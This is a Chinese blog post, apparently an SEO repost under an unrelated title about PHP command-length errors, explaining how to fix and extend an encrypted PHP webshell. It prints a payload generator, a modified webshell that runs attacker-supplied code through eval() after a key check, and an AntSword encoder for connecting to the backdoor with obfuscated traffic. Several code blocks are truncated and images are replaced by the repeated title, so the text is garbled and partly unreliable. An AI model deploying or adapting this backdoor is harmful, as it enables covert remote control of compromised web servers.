php中为什么提交的命令大于11个字符就报错

这篇文章给大家介绍php中为什么提交的命令大于11个字符就报错，内容非常详细，感兴趣的小伙伴们可以参考借鉴，希望对大家能有所帮助。

创新互联是一家朝气蓬勃的网站建设公司。公司专注于为企业提供信息化建设解决方案。从事网站开发，网站制作，网站设计，网站模板，微信公众号开发，软件开发，微信小程序开发，十余年建站对成都发电机租赁等多个领域，拥有多年的营销推广经验。

0x01 问题分析

php中为什么提交的命令大于11个字符就报错在地气文章末尾留下了送给大家的彩蛋（认真读文章的我肯定不会中标~）。
下边就和大家分享一下彩蛋的蛋是怎么玩儿的。

php中为什么提交的命令大于11个字符就报错

在地气哥Payload工具中，key的值被复制了多次，为的是当我们输入Payload语句被程序进行serialize之后，将每一位都进行ASCII码后的异或运算，来逆推出加密的Base64代码，我们可以从第25-28行的语句中看到逆推过程，是因为从substr中来逐步ASCII码。

我们看一下当substr函数返回空时，情况是怎么样的。

php中为什么提交的命令大于11个字符就报错

我们看到，当substr截取不到任何东西时，PHP返回“空”，但是在进行ord强制转换后，返回的是实打实的0，因为地气哥中的key是写死的，当我们生成的Payload比较多的时候，就会出现0去异或程序中生成的第一次加密Payload某一位的情况，这显然是不合理的。

0x02 问题解决

解决该问题最有效的方法应该就是让程序动态的去复制粘贴Key，这样可以达到长度无限的情况。
这里笔者粘贴出已修改的脚本：

php中为什么提交的命令大于11个字符就报错

  'aec7e489-2fbc-4b15-871f-1d686eeb80dc',
    'a'     =>  'e',
    'd'     =>  $_GET['payload']
);

$seria = serialize($str);

$cookiepre = '';
$pass = str_repeat('t', strlen($seria) - 1);
$text = '';
for($i = 0; $i < strlen($seria); $i++){
    $text .= chr(ord($seria[$i]) ^ ord($pass));
}

echo $pass . '
';

$key = $str['ak'];
$value = '';
for($i = 0; $i < strlen($text); $i++){
    if(!$key[$i]){
        $key .= $str['ak'];
    }
    $value .= chr(ord($text[$i]) ^ ord($key[$i]));
}
echo base64_encode($value);

测试效果：

php中为什么提交的命令大于11个字符就报错

成功解决了Payload长度问题。

0x03 神兵利器，何不利用？

既然解决了Payload长度问题，那么如果我们可以将该马儿更加方便的使用，那该多好啊。
笔者想到的是，如果可以使用蚁剑去连接，那岂不是舒服的很。毕竟该国外马儿加密的流量非常强悍的。
当然我们要想要与蚁剑进行交互，我们首先要解决一个问题，该问题是马儿中的unserialize函数。

php中为什么提交的命令大于11个字符就报错

Unserialize函数是用来反序列化的，但是他方便了PHP的同时却不太适合蚁剑，因为蚁剑是基于nodeJs而开发，同时遵循了Js的语法规则，我们知道在Js中定义数组必须为索引下标，在PHP中定义数组下标可以是字符串类型，这牵扯到了该马儿的核心：第48行的$vv[‘ak’]。如果我们使用unserialize函数，可能不太方便Js与PHP的交互。

在一个正常的WEB应用中，前台（Js）与后台（PHP/JAVA等）语言中，Json为主要的传输数据的格式，这里笔者将unserialize函数改为json_decode。如图：

php中为什么提交的命令大于11个字符就报错

这样起来我们就可以在nodeJs与PHP之间搭建一个沟通的桥梁。

新马儿代码：

$v){
        $vv = $v;
        $kk = $k;
        }

        if (!$vv){
                foreach ($_POST as $k=>$v){
                $vv = $v;
                $kk = $k;
                }
        }

        $vv = @json_decode(x184f5cc(base64_decode($vv), $kk), true);
        
        if (isset($vv['a'.'k']) && $c77700426==$vv['a'.'k']){
                if ($vv['a'] == 'i'){
                        $l71c40 = Array('p'.'v' => @phpversion(),'s'.'v' => '1'.'.'.'0'.'-'.'1',);
                        echo @serialize($l71c40);
                }
                elseif ($vv['a'] == 'e'){
                eval/*r49557ec*/($vv['d']);
                }
                }
                exit();
        }

?>

0x04 蚁剑改造及使用演示

下边笔者就编写了一个蚁剑的编码器，他用于链接该木马。
编码器代码:

/**
 * php::base64编码器
 * Create at: 2020/10/14 13:38:35
 */

'use strict';
/*
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
  // ##########    请在下方编写你自己的代码   ###################
  // 以下代码为 PHP Base64 样例
  let obj = {'ak':'aec7e489-2fbc-4b15-871f-1d686eeb80dc','a':'e','d':data['_']};
  let objStr = JSON.stringify(obj);
  // 生成一个随机变量名
  let pass = 't';
  let t = pass.repeat(obj.d.length - 1);
  
  let text = '';
  for(let i = 0; i < objStr.length; i ++){
    text += String.fromCharCode(objStr[i].charCodeAt() ^ t.charCodeAt());
  }
  let key = obj.ak;
  var value = '';
  for(let i = 0; i < text.length; i++){
    if(!key[i]){
      key += obj.ak;
    }
    value += String.fromCharCode(text[i].charCodeAt() ^ key[i].charCodeAt());
  }
  data[t] = Buffer.from(value).toString('base64');
  

  // ##########    请在上方编写你自己的代码   ###################

  // 删除 _ 原有的payload
  delete data['_'];
  // 返回编码器处理后的 payload 数组
  return data;
}

当然，该编码器的第15行的ak值，需要与马儿中的key所对应。

演示：

php中为什么提交的命令大于11个字符就报错